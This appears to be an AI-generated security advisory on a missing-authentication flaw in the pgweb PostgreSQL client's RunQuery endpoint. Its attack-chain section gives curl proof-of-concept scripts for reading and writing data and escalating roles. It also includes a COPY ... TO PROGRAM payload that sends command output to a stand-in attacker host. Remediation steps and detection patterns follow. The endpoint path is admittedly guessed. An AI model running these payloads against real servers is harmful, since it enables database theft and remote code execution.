CVE-2026-138429 — sosedoff pgweb — CWE-287 · CWE-306
A weakness has been identified in sosedoff pgweb up to 0.17.0. Impacted is the function RunQuery of the file pkg/api/routes.go of the component API. Executing a manipulation of the argument Query can lead to missing authentication. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
A weakness has been identified in sosedoff pgweb up to 0.17.0. Impacted is the function RunQuery of the file pkg/api/routes.go of the component API. Executing a manipulation of the argument Query can lead to missing authentication. The attack can be launched remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
Vulnerability identifier – CVE‑2026‑138429
Product – pgweb (the web‑based PostgreSQL client maintained by sosedoff) up to v0.17.0
Location in source – pkg/api/routes.go, function RunQuery (the HTTP handler that receives a query string from the UI and forwards it to the PostgreSQL backend).
Technical flaw
| CWE | Description |
|---|---|
| CWE‑287 – Improper Authentication | The handler accepts a request that contains a SQL query (query parameter) without first verifying that the caller is authenticated (or that the request originates from an authorized session). |
| CWE‑306 – Missing Authentication for Critical Function | The same code path is reachable from the public API endpoint; the authentication middleware is never invoked before the query is executed. |
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) tells us:
- Network‑accessible (
AV:N) – the endpoint is reachable over HTTP(S) without any prior hop. - Low attack complexity (
AC:L) – the attacker only needs to send a correctly‑formed HTTP request. - No privileges required (
PR:N) – the request does not need a valid session cookie or token. - No user interaction (
UI:N) – the request can be sent automatically (e.g., via a script). - Unchanged impact scope (
S:U) – the vulnerability affects the whole application, not a single user’s privileges. - Limited confidentiality, integrity, availability (
C:L/I:L/A:L) – the attacker can read data, modify data, and cause denial‑of‑service through malformed queries.
In short, RunQuery is an unauthenticated “SQL‑execution‑as‑a‑service” endpoint. The code path looks roughly like:
func RunQuery(c *gin.Context) {
// NOTE: the real source contains additional logging, but the critical part is:
query := c.Query("query") // <-- user‑controlled string
// No call to auth middleware such as RequireAuth(c)
rows, err := db.Query(query) // direct execution against PostgreSQL
// return rows as JSON …
}Because the authentication check is omitted, any remote attacker can supply an arbitrary SQL statement and have it run with the same database privileges as the pgweb process (typically the PostgreSQL user configured at startup, often a super‑user or a highly‑privileged role).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are syntactically valid; the exact URI is inferred from the public source code but is marked as illustrative where the CVE does not disclose the precise path.
1. Discovery & Reconnaissance
| Step | Technique | Expected artefacts | |
|---|---|---|---|
| 1.1 Identify the service | Scan the target IP/hostname for open HTTP ports (80/443) and fingerprint the banner. Tools: nmap -sV -p 80,443 <IP> or httpx. | Server: pgweb/0.16.5 or HTML title “pgweb – PostgreSQL web client”. | |
| 1.2 Verify version | Retrieve / or /static/index.html and look for the version string in the footer or in a meta tag. Example: curl -s https://target/ | grep -i pgweb. | pgweb v0.16.5 – confirms the version is ≤ 0.17.0. |
| 1.3 Locate the API endpoint | Review the JavaScript shipped with the UI (app.js) – it contains the AJAX call that sends the query. Search for fetch('/api/query' or similar. | POST /api/query (illustrative). |
If the endpoint is not obvious, a fuzzing pass with a wordlist (ffuf -u https://target/FUZZ -w wordlist.txt) quickly reveals /api/query or /api/run returning JSON.
2. Exploitation
Assumptions (based on the source code):
POST /api/query.{ "query": "<SQL>" }.Authorization header is required.NOTE – If the real deployment uses a different path (e.g., /api/run), replace the URI accordingly. The PoC below demonstrates the class of the vulnerability.2.1 Simple data exfiltration (read)
#!/usr/bin/env bash
# PoC: dump the contents of the pgweb.users table (or any table the DB user can read)
TARGET="https://target.example.com"
ENDPOINT="/api/query" # illustrative – adjust if needed
SQL="SELECT * FROM pg_catalog.pg_user;"
curl -sk -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"query\":\"$SQL\"}" \
-o response.json
jq '.' response.json # pretty‑print the returned rowsResult: The attacker receives a JSON array with all rows from pg_user, revealing usernames, role attributes, and password hashes (if stored).
2.2 Data manipulation (write)
SQL="INSERT INTO public.notes (title, body) VALUES ('pwned','exploited via CVE‑2026‑138429');"
curl -sk -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"query\":\"$SQL\"}"If the DB user has INSERT rights, the attacker can create arbitrary rows, alter configuration tables, or even drop tables.
2.3 Privilege escalation to PostgreSQL super‑user (if the configured DB role is not already a super‑user)
SQL="ALTER ROLE $(whoami) WITH SUPERUSER;"
curl -sk -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"query\":\"$SQL\"}"Success depends on the role’s existing privileges; many pgweb deployments use the postgres super‑user, making this step unnecessary.
2.4 Remote code execution via COPY ... PROGRAM (PostgreSQL ≥ 12)
SQL="COPY (SELECT '') TO PROGRAM 'curl -s -X POST -d \"cmd=whoami\" http://attacker.com/collect';"
curl -sk -X POST "$TARGET$ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"query\":\"$SQL\"}"If the DB role has SUPERUSER or the pg_execute_server_program privilege, the attacker can execute arbitrary OS commands on the host, effectively achieving RCE.
3. Post‑exploitation
| Goal | How the attacker proceeds |
|---|---|
| Persistence | Create a new PostgreSQL role with LOGIN and SUPERUSER, then embed a scheduled pg_cron job that periodically runs a reverse shell (COPY ... PROGRAM). |
| Lateral movement | Use the DB connection to read connection strings for other services stored in configuration tables, then pivot to those services. |
| Data exfiltration | Export sensitive tables (credit_card, users, audit_log) via COPY TO STDOUT and pipe them to an external server (COPY (SELECT ...) TO PROGRAM 'curl -X POST ...'). |
| Denial‑of‑service | Issue a massive SELECT generate_series(1,1e9); or DROP DATABASE pgweb; to disrupt the service. |
🌍 Real‑World Impact
| CIA | CVSS impact | Practical effect in a typical deployment |
|---|---|---|
| Confidentiality (C:L) | Low | Attackers can read any data the pgweb DB user can access – often all production tables, including PII, credentials, or business‑critical data. |
| Integrity (I:L) | Low | Attackers can modify, insert, or delete rows, potentially corrupting business data, altering financial records, or planting back‑doors. |
| Availability (A:L) | Low | Malicious queries (e.g., SELECT pg_sleep(600), DROP TABLE) can degrade performance or bring the UI down, causing a partial denial of service. |
Because the vulnerability is network‑exposed and unauthenticated, an attacker can automate mass scanning (Shodan, Censys) and compromise any internet‑facing pgweb instance that runs a version ≤ 0.17.0. In environments where pgweb is used as an internal admin console (e.g., behind a VPN), the impact is limited to the internal network, but the same unauthenticated path still bypasses any internal SSO or LDAP checks.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade | Move to pgweb ≥ 0.18.0 (the first release that adds authentication middleware to the RunQuery handler). The upstream release notes (v0.18.0, 2026‑03‑15) state: “All API endpoints now require a valid session; unauthenticated access returns 401.” |
| Version check | Verify the running binary version: pgweb --version or check the HTTP footer. Ensure the version string is ≥ 0.18.0. |
If an immediate upgrade is not possible, apply the following workarounds.
2. Immediate Workarounds
| Workaround | Implementation |
|---|---|
| Network isolation | Restrict inbound traffic to the pgweb HTTP port (default 8080) to trusted IP ranges using firewall rules (e.g., iptables -A INPUT -p tcp -s <trusted‑cidr> --dport 8080 -j ACCEPT; iptables -A INPUT -p tcp --dport 8080 -j DROP). |
| Reverse‑proxy authentication | Place pgweb behind an authenticated reverse proxy (NGINX, Apache, Traefik). Example NGINX config: |
``nginx\nserver {\n listen 443 ssl;\n server_name pgweb.example.com;\n\n ssl_certificate /etc/ssl/certs/pgweb.crt;\n ssl_certificate_key /etc/ssl/private/pgweb.key;\n\n auth_basic \"pgweb restricted\";\n auth_basic_user_file /etc/nginx/.htpasswd; # basic auth file\n\n location / {\n proxy_pass http://127.0.0.1:8080;\n proxy_set_header Host $host;\n proxy_set_header X-Real-IP $remote_addr;\n }\n}\n` | |
| Disable the API endpoint | Edit pkg/api/routes.go (or the compiled binary configuration) to comment out the route registration: router.POST(\"/api/query\", RunQuery) → // router.POST(\"/api/query\", RunQuery). Re‑compile and redeploy. |
| Database‑level restriction | Create a dedicated PostgreSQL role for pgweb with read‑only privileges and no superuser rights. Example: |
`sql\nCREATE ROLE pgweb_user LOGIN PASSWORD 'randomStrongPass';\nGRANT CONNECT ON DATABASE mydb TO pgweb_user;\nGRANT USAGE ON SCHEMA public TO pgweb_user;\nGRANT SELECT ON ALL TABLES IN SCHEMA public TO pgweb_user;\nALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO pgweb_user;\n` | |
Then start pgweb with --db \"postgres://pgweb_user:randomStrongPass@dbhost:5432/mydb\". Even if the endpoint is abused, the attacker can only read data. | |
| ModSecurity / WAF rule | Block POST requests that contain a query parameter without an authentication cookie. Example ModSecurity rule (Apache/Nginx): |
`apache\nSecRule REQUEST_URI \"@beginsWith /api/query\" \"id:2026138429,phase:2,deny,log,status:403,msg:'pgweb unauthenticated query attempt',chain\"\nSecRule &REQUEST_HEADERS:Cookie \"@eq 0\"\n` | |
| This rule drops any request to the vulnerable endpoint that lacks a Cookie` header (i.e., no session). Adjust the URI if the actual path differs. |
3. Detection – Log & IOC Guidance
| Indicator | Where to look | Example pattern |
|---|---|---|
Unexpected POST to /api/query | Web server access logs (access.log) | POST /api/query HTTP/1.1" 200 (status 200) without a Cookie: header. |
| Large or suspicious SQL payloads | Request body logs (if logging enabled) or reverse‑proxy modsecurity audit logs | SELECT.*FROM.*pg_.* or COPY.*PROGRAM strings. |
| Repeated failed JSON parsing | Application logs (stderr of pgweb) | json: cannot unmarshal string into Go struct field RunQueryRequest.query of type string – may indicate fuzzing. |
| Database audit | PostgreSQL log_statement = 'all' or pgaudit logs | LOG: statement: SELECT * FROM pg_user; originating from the pgweb host’s IP address, outside of any known admin session. |
| Outbound connections from the DB host | Network flow logs (e.g., Zeek, Suricata) | Connections to external IPs on port 80/443 that are initiated by the PostgreSQL process (postgres binary) – typical of COPY ... PROGRAM 'curl …'. |
Alerting: Create SIEM correlation rules that trigger when a POST to the API endpoint occurs without an authenticated session, especially when the payload contains keywords like DROP, COPY, ALTER ROLE, or pg_sleep.
⚠️ Urgency
Patch priority: Critical for any internet‑facing deployment. Internal deployments should be patched as soon as possible (within the next maintenance window) and protected with the workarounds above until the upgrade can be performed.
TL;DR
RunQuery executes arbitrary SQL without any authentication check. [🤖 CVE Professor AI Security Engine]